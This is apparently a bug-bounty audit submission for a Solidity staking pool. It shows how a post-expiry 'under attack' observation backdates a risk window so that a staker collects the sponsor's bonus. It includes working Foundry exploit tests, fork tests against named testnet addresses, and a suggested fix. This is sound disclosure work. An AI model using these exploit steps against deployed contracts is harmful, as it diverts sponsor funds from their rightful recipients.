FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Post-expiry active-risk observation lets stakers capture bonus despite no in-term risk

Author Revealed upon completion

Root + Impact

Description

Normal behavior is that a pool which reaches expiry without observing an active-risk state has no measured risk window. In that case, expired stakers should recover principal only and the unearned sponsor bonus should be sweepable to recoveryAddress.

The issue is that claimExpired() and pokeRiskWindow() can create the first riskWindowStart after the pool term has already ended. _markRiskWindowStart() caps the recorded timestamp to expiry, but still writes a nonzero marker and rewrites the global time-weighted accumulators. When claimExpired() resolves EXPIRED, outcomeFlaggedAt is also expiry, so every score duration is zero and _bonusShare() falls back to amount-weighted bonus allocation. A staker can therefore capture bonus from a pool that had no observed active-risk interval during its underwritten term.

function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
@> IAttackRegistry.ContractState state = _observePoolState();
@> snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
@> snapshotSumStakeTime = sumStakeTime;
@> snapshotSumStakeTimeSq = sumStakeTimeSq;
...
if (state == IAttackRegistry.ContractState.PRODUCTION) {
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
} else {
@> outcome = PoolStates.Outcome.EXPIRED;
@> outcomeFlaggedAt = expiry;
}
claimsStarted = true;
}
...
@> uint256 bonusShare = _bonusShare(msg.sender, userEligible);
uint256 payout = userEligible + bonusShare;
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
...
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
@> _markRiskWindowStart();
@> }
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
@> if (t > expiry) t = expiry;
@> riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
@> if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
...
@> if (globalScore == 0) {
@> if (snapshotTotalStaked == 0) return 0;
@> return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
@> }
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

In the exploit path, the agreement enters UNDER_ATTACK only after the pool expiry. The first expired claim observes that post-term active-risk state, records riskWindowStart = expiry, resolves EXPIRED, and pays the staker the entire bonus. In the control path where no post-expiry active-risk observation is made, the same staker receives principal only and the bonus is swept to recovery.

This is distinct from the delayed post-term corruption issue: this finding does not require CORRUPTED, moderator absence, or the corrupted grace period. The impact is immediate unearned bonus capture from post-expiry active-risk observation.

Risk

Likelihood:

Reason 1: This occurs when a pool expires without observing active risk, and the linked registry later reports UNDER_ATTACK before the first expired claim.

Reason 2: This occurs through normal public entrypoints. A staker can trigger the issue with a single claimExpired() call after expiry; no moderator, owner, sponsor, or registry privilege is required.

Impact:

Impact 1: A staker receives principal plus bonus despite no observed active-risk interval during the pool term.

Impact 2: The sponsor-funded bonus is diverted from recoveryAddress to stakers based solely on a post-term registry observation.

Proof of Concept

Create test/unit/ConfidencePool.postExpiryBonusCapture.poc.t.sol with the following full test contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolPostExpiryBonusCapturePoCTest is BaseConfidencePoolTest {
function testControlNoRiskAtExpiryReturnsPrincipalAndSweepsBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(pool.riskWindowStart(), 0, "no risk was observed during the pool term");
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "Alice receives principal only");
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE, "bonus is swept to recovery");
}
function testStakerCanManufacturePostExpiryRiskAndCaptureBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
uint256 expiry = pool.expiry();
vm.warp(expiry + 1);
// The agreement did not enter active risk until after the pool's underwritten term ended.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Permissionless post-expiry observation manufactures a nonzero risk window. The marker is
// capped to expiry, even though the real observation happened after expiry.
vm.prank(alice);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiry, "post-expiry risk is backdated to pool expiry");
vm.warp(expiry + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(pool.riskWindowEnd(), expiry, "terminal observation is also clamped to expiry");
assertEq(
token.balanceOf(alice) - aliceBefore,
200 * ONE,
"Alice captures principal plus the full bonus despite bearing no in-term risk"
);
assertEq(pool.claimedBonus(), 100 * ONE, "the manufactured zero-duration window unlocks full bonus");
assertEq(token.balanceOf(address(pool)), 0, "nothing remains for recovery");
}
function testSingleClaimExpiredCallBackdatesPostTermRiskAndCapturesBonus() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 100 * ONE);
uint256 expiry = pool.expiry();
vm.warp(expiry + 1);
// Active risk begins only after the pool term. Alice does not need a prior poke or a later
// terminal transition: claimExpired() itself observes and backdates the risk window.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(pool.riskWindowStart(), expiry, "claim backdates post-term risk to expiry");
assertEq(pool.outcomeFlaggedAt(), expiry, "EXPIRED uses the same timestamp as T");
assertEq(
token.balanceOf(alice) - aliceBefore,
200 * ONE,
"one post-expiry claim captures principal plus bonus without in-term risk"
);
assertEq(pool.claimedBonus(), 100 * ONE, "zero-score fallback pays the entire bonus");
assertEq(token.balanceOf(address(pool)), 0, "recovery loses the full bonus");
}
}

Run:

forge test --match-path test/unit/ConfidencePool.postExpiryBonusCapture.poc.t.sol -vvv

Observed result:

Ran 3 tests for test/unit/ConfidencePool.postExpiryBonusCapture.poc.t.sol:ConfidencePoolPostExpiryBonusCapturePoCTest
[PASS] testControlNoRiskAtExpiryReturnsPrincipalAndSweepsBonus()
[PASS] testSingleClaimExpiredCallBackdatesPostTermRiskAndCapturesBonus()
[PASS] testStakerCanManufacturePostExpiryRiskAndCaptureBonus()
Suite result: ok. 3 passed; 0 failed; 0 skipped

The control proves that without the post-expiry active-risk observation, Alice receives only principal and the bonus is swept to recovery. The exploit tests prove that a post-term UNDER_ATTACK observation changes the same pool from principal-only recovery to principal plus the full bonus.

Live BattleChain testnet fork confirmation:

The fork proof uses live Safe Harbor registry 0x0a652e265336a0296816aC4D8400880e3E537C24 and demo agreement 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716. At block 17036, the real registry reports the agreement as UNDER_ATTACK after the local pool expiry. A non-owner, non-moderator, non-staker caller then successfully calls pokeRiskWindow(), and the pool records riskWindowStart == expiry.

The second fork test uses that same real post-expiry seal and mocks only the later terminal PRODUCTION registry read because the demo agreement is not currently PRODUCTION at the checkpoint. It then proves the ConfidencePool consequence: claimExpired() resolves SURVIVED and pays principal plus bonus from the zero-duration post-expiry window.

function testLiveRegistryPostExpiryUnderAttackPokeSealsExpiredPool() external {
...
vm.rollFork(POST_EXPIRY_UNDER_ATTACK_BLOCK);
assertGt(block.timestamp, expiryTs, "checkpoint must be after the pool expiry");
assertEq(pool.riskWindowStart(), 0, "pool has not observed active risk before expiry");
address attackRegistry = IBattleChainSafeHarborRegistry(SAFE_HARBOR_REGISTRY).getAttackRegistry();
IAttackRegistry.ContractState liveState = IAttackRegistry(attackRegistry).getAgreementState(DEMO_AGREEMENT);
assertEq(uint256(liveState), uint256(IAttackRegistry.ContractState.UNDER_ATTACK), "live registry is UNDER_ATTACK");
vm.prank(stranger);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiryTs, "post-expiry poke seals start at expiry");
}
function testForkEndToEndAfterRealPostExpirySealThenTerminalProductionPaysBonus() external {
...
vm.prank(stranger);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiryTs, "real post-expiry seal created zero-duration window");
vm.mockCall(
attackRegistry,
abi.encodeWithSelector(IAttackRegistry.getAgreementState.selector, DEMO_AGREEMENT),
abi.encode(IAttackRegistry.ContractState.PRODUCTION)
);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(ConfidencePool(address(pool)).outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE, "post-expiry window pays principal plus bonus");
}

Run:

source .env && forge test \
--match-path test/fork/ConfidencePoolPostExpiryPoke.fork.t.sol \
--match-test "test(LiveRegistryPostExpiryUnderAttackPokeSealsExpiredPool|ForkEndToEndAfterRealPostExpirySealThenTerminalProductionPaysBonus)" \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vvv

Observed result:

Ran 2 tests for test/fork/ConfidencePoolPostExpiryPoke.fork.t.sol:ConfidencePoolPostExpiryPokeForkTest
[PASS] testForkEndToEndAfterRealPostExpirySealThenTerminalProductionPaysBonus()
[PASS] testLiveRegistryPostExpiryUnderAttackPokeSealsExpiredPool()
Suite result: ok. 2 passed; 0 failed; 0 skipped

Recommended Mitigation

Do not allow a risk window to start at or after expiry. Apply the guard inside _observePoolState() or _markRiskWindowStart() so every entrypoint is covered, including both pokeRiskWindow() and claimExpired().

- if (riskWindowStart == 0 && _isActiveRiskState(state)) {
+ if (riskWindowStart == 0 && block.timestamp < expiry && _isActiveRiskState(state)) {
_markRiskWindowStart();
}

Alternatively:

function _markRiskWindowStart() internal {
+ if (block.timestamp >= expiry) return;
+
uint256 t = block.timestamp;
- if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

The important invariant is that post-term registry activity must not create a risk window for an already-completed pool term.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!